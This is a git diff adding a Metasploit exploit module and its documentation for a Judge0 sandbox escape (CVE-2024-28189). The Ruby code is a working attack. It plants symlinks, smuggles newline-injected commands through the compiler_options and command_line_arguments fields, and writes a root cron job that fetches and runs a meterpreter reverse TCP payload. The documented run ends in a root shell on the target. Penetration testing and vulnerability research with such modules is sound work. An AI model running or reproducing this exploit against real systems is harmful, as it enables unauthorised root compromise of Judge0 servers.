diff --git a/documentation/modules/exploit/linux/http/judge0_sandbox_escape_cve_2024_28189.md b/documentation/modules/exploit/linux/http/judge0_sandbox_escape_cve_2024_28189.md new file mode 100644 index 000000000000..ad06ebbd52bd --- /dev/null +++ b/documentation/modules/exploit/linux/http/judge0_sandbox_escape_cve_2024_28189.md @@ -0,0 +1,121 @@ +## Vulnerable Application + +Judge0 does not account for symlinks placed inside the sandbox directory, +which can be leveraged by an attacker to write to arbitrary files and gain code execution outside of the sandbox. + +The vulnerability affects: + + * Judge0 <= 1.13.0 + +This module was successfully tested on: + + * Judge0(v1.13.0) installed with Docker on Ubuntu 20.0.4 + + +### Installation + +1. (Optional) Set cgroup to v1 +```bash + sudo nano /etc/default/grub + # add this line at the top, and save: + GRUB_CMDLINE_LINUX="systemd.unified_cgroup_hierarchy=0" + sudo update-grub + sudo reboot +``` + +2. Install Judge0 +```bash + wget https://github.com/judge0/judge0/releases/download/v1.13.0/judge0-v1.13.0.zip + unzip judge0-v1.13.0.zip + cd judge0-v1.13.0 +``` + +3. Start Judge0 +```bash + docker compose up +``` + +4. (Optional) When Judge0 does not work, try this +```bash + docker compose up --force-recreate server +``` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/judge0_sandbox_escape_cve_2024_28189` +4. Do: `run lhost= rhost=` +5. You should get a meterpreter + + +## Options + + +## Scenarios +``` +msf6 > use exploit/linux/http/judge0_sandbox_escape_cve_2024_28189 +[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp +msf6 exploit(linux/http/judge0_sandbox_escape_cve_2024_28189) > options + +Module options (exploit/linux/http/judge0_sandbox_escape_cve_2024_28189): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 2358 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME JRzyWcrcJ no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/judge0_sandbox_escape_cve_2024_28189) > run lhost=192.168.56.1 rhost=192.168.56.15 + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Version 1.13.0 detected, which is vulnerable +[+] The target appears to be vulnerable. +[*] Writing cron job to /etc/cron.d/dUTuziNy +[*] Use language: 77, COBOL (GnuCOBOL 2.2) +[+] Deleted /etc/cron.d/dUTuziNy +[+] Deleted /root/SVENuNNy +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.15:49024) at 2024-10-29 12:56:04 +0900 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 172.18.0.5 +OS : Debian 10.2 (Linux 5.4.0-196-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > pwd +/root +meterpreter > +``` diff --git a/modules/exploits/linux/http/judge0_sandbox_escape_cve_2024_28189.rb b/modules/exploits/linux/http/judge0_sandbox_escape_cve_2024_28189.rb new file mode 100644 index 000000000000..3e89c86f7e91 --- /dev/null +++ b/modules/exploits/linux/http/judge0_sandbox_escape_cve_2024_28189.rb @@ -0,0 +1,174 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Judge0 sandbox escape', + 'Description' => %q{ + Judge0 does not account for symlinks placed inside the sandbox directory, + which can be leveraged by an attacker to write to arbitrary files and gain code execution outside of the sandbox. + }, + 'Author' => [ + 'Tanto Security', # Vulnerability discovery + 'Takahiro Yokoyama' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2024-28185'], + ['CVE', '2024-28189'], + ['URL', 'https://tantosec.com/blog/judge0/'], + ], + 'Payload' => { + 'DisableNops' => true, + # https://github.com/judge0/judge0/blob/ad66f77b131dbbebf2b9ff8083dca9a68680b3e5/app/jobs/isolate_job.rb#L199 + 'BadChars' => '$&;<>|`' + }, + 'DefaultOptions' => { + 'FETCH_DELETE' => false, + 'WfsDelay' => 75 + }, + 'Platform' => %w[linux], + 'Targets' => [ + [ + 'Linux Command', { + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', + 'FETCH_COMMAND' => 'WGET' + } + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-03-04', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + + register_options( + [ + Opt::RPORT(2358), + ] + ) + end + + def compile_language_ids + @languages = [] + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'languages') + }) + return unless res&.code == 200 + + languages = JSON.parse(res.body) + bash = languages.detect { |row| row['name'].include?('Bash') } + return unless bash + + @bash_id = bash['id'] + + languages.each do |language| + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "languages/#{language['id']}") + }) + lang_info = JSON.parse(res.body) + @languages << language if res&.code == 200 && lang_info['compile_cmd'] && !lang_info['is_archived'] + end + return if @languages.empty? + + @languages + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'version') + }) + return Exploit::CheckCode::Unknown unless res&.code == 200 + + version = Rex::Version.new(res.body) + return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable") unless version <= Rex::Version.new('1.13.0') + + print_status("Version #{version} detected, which is vulnerable") + + return Exploit::CheckCode::Appears if compile_language_ids + + Exploit::CheckCode::Unknown + end + + def exploit + # Setting the `FETCH_DELETE` option seems to break the payload execution. + # `register_files_for_cleanup` will be used later to cleanup. + fail_with(Failure::BadConfig, 'FETCH_DELETE must be set to false') if datastore['FETCH_DELETE'] + execute_command(payload.encoded) + end + + def execute_command(cmd, _opts = {}) + compile_language_ids if @languages.nil? + + if @languages.empty? && !datastore['ForceExploit'] + fail_with(Failure::Unknown, 'Failed to get compile language ids') + end + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'submissions?wait=true'), + 'vars_post' => { + 'source_code' => 'mv run runbak; ln -s /bin/rm run', + # if cannot get bash id but set ForceExploit to true, use 46 + 'language_id' => @bash_id || 46 # Bash + } + }) + + cron_path = '/etc/cron.d/' + rand_text_alpha(8) + print_status("Writing cron job to #{cron_path}") + # use random compile language ids + # if cannot get compile language ids but set ForceExploit to true, use 73 (Rust) + language = !@languages.empty? ? @languages.sample : { id: 73, name: 'Rust' } + print_status("Use language: #{language['id']}, #{language['name']}") + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'submissions?wait=true'), + 'vars_post' => { + 'source_code' => "#test #{rand_text_alphanumeric(5..10)}", + 'language_id' => language['id'], + 'compiler_options' => "--version\nln -s /bin/rm ./run\n#", + 'command_line_arguments' => "x\n"\ + "cp /bin/rm #{cron_path}\n"\ + "cp /usr/bin/unlink /bin/rm\n"\ + "sed -i 's/.*/#/g' #{cron_path}\n"\ + "sed -i \"2i #{cron_file(cmd)}\" #{cron_path}\n"\ + "echo 'ok'\n" # not used + } + }) + register_files_for_cleanup(cron_path, "/root/#{datastore['FETCH_FILENAME']}") + end + + def cron_file(command) + cron_file = 'SHELL=/bin/sh' + cron_file << '\\n' + cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin' + cron_file << '\\n' + cron_file << "* * * * * root #{command}" + cron_file << '\\n' + + cron_file + end + +end